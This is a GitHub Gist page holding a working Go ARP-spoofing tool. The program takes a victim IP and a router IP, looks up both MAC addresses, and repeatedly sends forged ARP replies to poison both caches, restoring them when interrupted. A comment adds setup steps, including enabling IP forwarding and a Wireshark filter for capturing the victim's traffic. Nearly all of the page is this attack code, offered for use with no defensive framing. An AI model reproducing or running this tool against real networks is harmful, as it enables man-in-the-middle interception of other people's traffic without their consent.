Last active
June 22, 2020 13:19
-
-
Save doorbash/5f31f5f48c7268491ec8d07eab1b29f3 to your computer and use it in GitHub Desktop.
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
package main | |
import ( | |
"bytes" | |
"errors" | |
"fmt" | |
"log" | |
"net" | |
"os" | |
"os/signal" | |
"sync" | |
"syscall" | |
"time" | |
"github.com/google/gopacket" | |
"github.com/google/gopacket/layers" | |
"github.com/google/gopacket/pcap" | |
) | |
var vIP net.IP | |
var rIP net.IP | |
var vMac net.HardwareAddr | |
var rMac net.HardwareAddr | |
var mtx sync.RWMutex | |
var restore func() | |
func main() { | |
if len(os.Args) < 3 { | |
log.Fatal("Usage: arp-spoof victimIP routerIP. Example: arp-spoof 192.168.1.12 192.168.1.1") | |
} | |
vIP = net.ParseIP(os.Args[1]) | |
rIP = net.ParseIP(os.Args[2]) | |
vIP = vIP[len(vIP)-4:] | |
rIP = rIP[len(rIP)-4:] | |
setupCloseHandler() | |
ifaces, err := pcap.FindAllDevs() | |
if err != nil { | |
panic(err) | |
} | |
ifcs, err := net.Interfaces() | |
if err != nil { | |
panic(err) | |
} | |
for _, iface := range ifaces { | |
if err := scan(&iface, ifcs); err != nil { | |
log.Printf("interface %v: %v", iface.Name, err) | |
} else { | |
for { | |
} | |
} | |
} | |
fmt.Println("no interface found.") | |
} | |
func setupCloseHandler() { | |
c := make(chan os.Signal) | |
signal.Notify(c, os.Interrupt, syscall.SIGTERM) | |
go func() { | |
<-c | |
if restore != nil { | |
fmt.Println("\nRestoring what we did... just a sec...") | |
restore() | |
} | |
os.Exit(0) | |
}() | |
} | |
func scan(iface *pcap.Interface, ifcs []net.Interface) error { | |
var addr *net.IPNet | |
var ifc *net.Interface | |
for _, a := range iface.Addresses { | |
ipnet := &net.IPNet{ | |
IP: a.IP, | |
Mask: a.Netmask, | |
} | |
if !ipnet.Contains(vIP) { | |
continue | |
} | |
if ip4 := ipnet.IP.To4(); ip4 != nil { | |
addr = &net.IPNet{ | |
IP: ip4, | |
Mask: ipnet.Mask[len(ipnet.Mask)-4:], | |
} | |
var found bool = false | |
for _, iff := range ifcs { | |
var adr *net.IPNet | |
addrs, err := iff.Addrs() | |
if err != nil { | |
return err | |
} | |
for _, a := range addrs { | |
if ipnet, ok := a.(*net.IPNet); ok { | |
if ip4 := ipnet.IP.To4(); ip4 != nil { | |
adr = &net.IPNet{ | |
IP: ip4, | |
Mask: ipnet.Mask[len(ipnet.Mask)-4:], | |
} | |
break | |
} | |
} | |
} | |
if adr != nil && adr.String() == addr.String() { | |
found = true | |
ifc = &iff | |
break | |
} | |
} | |
if found { | |
break | |
} | |
} | |
} | |
if ifc == nil || addr == nil { | |
return errors.New("no good IP network found") | |
} else if addr.IP[0] == 127 { | |
return errors.New("skipping localhost") | |
} | |
log.Printf("Using network range %v for interface %v (%v)", addr, iface.Name, ifc.Name) | |
// Open up a pcap handle for packet reads/writes. | |
handle, err := pcap.OpenLive(iface.Name, 65536, true, pcap.BlockForever) | |
if err != nil { | |
return err | |
} | |
defer handle.Close() | |
go readARP(handle, ifc) | |
for { | |
mtx.RLock() | |
if vMac == nil { | |
mtx.RUnlock() | |
if err := writeARP(handle, ifc.HardwareAddr, []byte(addr.IP), net.HardwareAddr{0xff, 0xff, 0xff, 0xff, 0xff, 0xff}, vIP, layers.ARPRequest); err != nil { | |
log.Printf("error writing packets on %v: %v", iface.Name, err) | |
return err | |
} | |
time.Sleep(2 * time.Second) | |
continue | |
} | |
if rMac == nil { | |
mtx.RUnlock() | |
if err := writeARP(handle, ifc.HardwareAddr, []byte(addr.IP), net.HardwareAddr{0xff, 0xff, 0xff, 0xff, 0xff, 0xff}, rIP, layers.ARPRequest); err != nil { | |
log.Printf("error writing packets on %v: %v", iface.Name, err) | |
return err | |
} | |
time.Sleep(2 * time.Second) | |
continue | |
} | |
mtx.RUnlock() | |
done := false | |
for { | |
if done { | |
return nil | |
} | |
if err := writeARP(handle, ifc.HardwareAddr, rIP, vMac, vIP, layers.ARPReply); err != nil { | |
log.Printf("error writing packets on %v: %v", iface.Name, err) | |
return err | |
} | |
time.Sleep(time.Second) | |
if done { | |
return nil | |
} | |
if err := writeARP(handle, ifc.HardwareAddr, vIP, rMac, rIP, layers.ARPReply); err != nil { | |
log.Printf("error writing packets on %v: %v", iface.Name, err) | |
return err | |
} | |
if restore == nil { | |
restore = func() { | |
done = true | |
if err := writeARP(handle, vMac, vIP, net.HardwareAddr{0xff, 0xff, 0xff, 0xff, 0xff, 0xff}, rIP, layers.ARPReply); err != nil { | |
log.Printf("error writing packets on %v: %v", iface.Name, err) | |
return | |
} | |
time.Sleep(time.Second) | |
if err := writeARP(handle, rMac, rIP, net.HardwareAddr{0xff, 0xff, 0xff, 0xff, 0xff, 0xff}, vIP, layers.ARPReply); err != nil { | |
log.Printf("error writing packets on %v: %v", iface.Name, err) | |
return | |
} | |
} | |
} | |
time.Sleep(3 * time.Second) | |
} | |
} | |
} | |
func writeARP(handle *pcap.Handle, srcMac net.HardwareAddr, srcIP net.IP, dstMac net.HardwareAddr, dstIP net.IP, op uint16) error { | |
if op == layers.ARPRequest { | |
log.Printf("Sending ARP: Who has %v? Tell %v", dstIP, srcIP) | |
} else if op == layers.ARPReply { | |
log.Printf("Sending ARP: Telling %v that %v is at %v", dstIP, srcIP, srcMac) | |
} | |
// Set up all the layers' fields we can. | |
eth := layers.Ethernet{ | |
SrcMAC: srcMac, | |
DstMAC: dstMac, | |
EthernetType: layers.EthernetTypeARP, | |
} | |
var arpDstMac net.HardwareAddr | |
if dstMac.String() == "ff:ff:ff:ff:ff:ff" { | |
arpDstMac = net.HardwareAddr{0, 0, 0, 0, 0, 0} | |
} else { | |
arpDstMac = dstMac | |
} | |
arp := layers.ARP{ | |
AddrType: layers.LinkTypeEthernet, | |
Protocol: layers.EthernetTypeIPv4, | |
HwAddressSize: 6, | |
ProtAddressSize: 4, | |
Operation: op, | |
SourceHwAddress: []byte(srcMac), | |
SourceProtAddress: srcIP, | |
DstHwAddress: arpDstMac, | |
DstProtAddress: dstIP, | |
} | |
// Set up buffer and options for serialization. | |
buf := gopacket.NewSerializeBuffer() | |
opts := gopacket.SerializeOptions{ | |
FixLengths: true, | |
ComputeChecksums: true, | |
} | |
gopacket.SerializeLayers(buf, opts, ð, &arp) | |
if err := handle.WritePacketData(buf.Bytes()); err != nil { | |
return err | |
} | |
return nil | |
} | |
func readARP(handle *pcap.Handle, iface *net.Interface) { | |
src := gopacket.NewPacketSource(handle, layers.LayerTypeEthernet) | |
in := src.Packets() | |
for { | |
var packet gopacket.Packet | |
select { | |
case packet = <-in: | |
arpLayer := packet.Layer(layers.LayerTypeARP) | |
if arpLayer == nil { | |
continue | |
} | |
arp := arpLayer.(*layers.ARP) | |
if arp.Operation != layers.ARPReply || bytes.Equal([]byte(iface.HardwareAddr), arp.SourceHwAddress) { | |
// This is a packet I sent. | |
continue | |
} | |
var ip net.IP = net.IP(arp.SourceProtAddress) | |
var hw net.HardwareAddr = net.HardwareAddr(arp.SourceHwAddress) | |
if ip.Equal(vIP) { | |
mtx.Lock() | |
vMac = hw | |
mtx.Unlock() | |
log.Printf("%v is at %v", ip, hw) | |
} else if ip.Equal(rIP) { | |
mtx.Lock() | |
rMac = hw | |
mtx.Unlock() | |
log.Printf("%v is at %v", ip, hw) | |
} | |
mtx.RLock() | |
if vMac != nil && rMac != nil { | |
mtx.RUnlock() | |
return | |
} | |
mtx.RUnlock() | |
} | |
} | |
} |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment
Pcap
Windows: Install
npcap 0.99*
from https://nmap.org/download.htmlUbuntu:
sudo apt install libpcap0.8-dev
Usage:
arp-spoof victimIP routerIP. Example: arp-spoof 192.168.1.12 192.168.1.1
Packet forwarding:
Windows: https://serverfault.com/questions/929081/how-can-i-enable-packet-forwarding-on-windows
Linux:
echo 1 > /proc/sys/net/ipv4/ip_forward
Wireshark
ip.addr eq 192.168.1.12